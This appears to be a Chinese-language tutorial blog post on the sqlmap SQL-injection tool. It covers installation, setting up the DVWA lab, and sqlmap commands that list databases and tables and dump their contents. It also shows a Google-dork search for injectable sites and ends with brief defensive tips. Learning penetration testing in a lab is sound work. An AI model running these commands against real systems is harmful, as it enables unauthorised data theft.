sqlmap的学习之路-自动化测试SQL注入工具
lmap 自动化测试sql 注入问题 会返回版本信息等等。
Sqlmap是开源的自动化SQL注入工具,由Python写成,因此运行需要安装python环境.
如需了解更多sqlmap资料可以访问官方http://sqlmap.org/,https://github.com/sqlmapproject/sqlmap,https://www.python.org 。
注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
特点:
- 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
- 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
- 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
- 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
- 支持自动识别密码哈希格式并通过字典破解密码哈希。
- 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
- 支持在数据库管理系统中搜索指定的数据库名、表名或列名
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
安装Sqlmap
1.下载python 并且安装;
2.下载sqlmap并且安装;注意将sqlmap 放入环境变量中;
sqlmap 运行 需要python 2.6或2.7版本 ,版本太高不支持。郁闷┭┮﹏┭┮
简单做个记录:
sqlmap.py 直接运行
看见这样的界面说明安装成功!
注意:环境变量的添加 Windows环境
准备测试源码 : DVWA http://www.dvwa.co.uk/ github 下载源码
解压到 WWW根目录下面
配置vhost环境 http://www.dvwa.com/
修改dvwa config文件下 的 config.inc.php.dist ==> config.inc.php
修改 IP地址 数据库 用户 密码 端口号
安装dvwa,
点击create 会自动创建数据表
csrf xss sql注入
连接数据成功,
python 连接数据扩展 python-pymysql
如果使用sqlmap;
sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111" (url路径)
sqlmap.py -r "test.text" (文件名)
sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111" --dbs 获取数据库名称
sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111" --tables 获取表名称
sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111" --dump 转存数据
sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111" --dump --all 转存数据
sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111" data="数据拼接字符串" --dbs
sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111" data="数据拼接字符串" --dbs --batch --smart 自动选yes
sqlmap.py -g "inurl:www.lingbook.com" 谷歌搜索 FQ
sqlmap.py --g "关键词" --batch --smart 查找注入点
web防火墙:硬件防火墙、 软件防火墙
判断是否有恶意请求
ngx_lua.
白帽子代码审计:参数过滤 、sql裸写
get post header三方面注入
select * from user where id=1' select * from user where id=1" 引发异常语句
特殊字符引发的 异常 ,可能导致sql注入
预编译 过滤